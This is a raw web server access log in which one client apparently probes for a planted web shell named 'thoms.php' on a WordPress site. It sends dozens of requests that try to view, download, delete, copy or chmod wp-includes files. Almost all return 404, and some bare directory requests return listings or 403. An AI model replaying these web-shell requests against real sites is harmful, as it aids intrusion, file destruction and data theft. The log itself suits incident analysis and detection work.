45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /biotaiwan.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?chmod=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?dl=registration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?chmod=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?del=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?del=widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?chmod=widgets&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-phpass.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-phpass.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:18 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /biotaiwan.com.tw/wp-includes/version.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?del=rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /biotaiwan.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?del=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /biotaiwan.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?chmod=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-templates.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftheme-templates.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:19 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /biotaiwan.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /biotaiwan.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fvars.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fvars.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?del=category-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?dl=functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?del=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-thumbnail-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:20 -0400] "GET /thoms.php?chmod=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=link-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-patterns&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /biotaiwan.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?chmod=embed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:21 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:22 -0400] "GET /thoms.php?dl=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
